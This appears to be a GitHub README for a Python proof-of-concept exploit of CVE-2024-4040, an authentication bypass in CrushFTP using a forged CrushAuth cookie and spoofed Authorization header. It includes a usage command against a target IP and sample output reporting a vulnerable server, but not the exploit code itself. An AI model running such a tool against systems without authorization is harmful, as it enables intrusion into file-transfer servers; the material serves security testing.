ill-deed/crushftp-cve-2024-4040-illdeedExploit for CVE-2024-4040 – Authentication bypass in CrushFTP via CrushAuth cookie and AWS-style header spoofing. Stealthy Python PoC with secure token generation, SSL bypass, and improved output.
This repository contains a stealthy Python proof-of-concept (PoC) exploit for CVE-2024-4040, a critical vulnerability in CrushFTP (v10 and below) that allows an attacker to bypass authentication using a forged CrushAuth cookie and AWS-style Authorization header.
An unauthenticated attacker can bypass authentication in vulnerable CrushFTP instances by crafting a specific cookie/header combination, gaining unauthorized access to internal web functions.
CrushAuth generation using secretsAuthorization headerrequests)python3 CVE-2024-4040.py http://target-ip:8080 --valid_username crushadmin
target_url — Base URL of the CrushFTP server
--valid_username — Known valid user (default: crushadmin)
🔍 Example Output
[*] CrushFTP Authentication Bypass Exploit
[*] Targeting: http://192.168.1.10:8080
[*] Using username: crushadmin
[+] Exploit Result:
Status_Code : 200
Response_Text : {"getUserNameResponse":{"user_name":"crushadmin"}}
[+] CrushFTP Server is VULNERABLE!
This code is for educational and authorized security testing purposes only. Do not use against systems you do not own or have explicit permission to test.
PoC Refactor: illdeed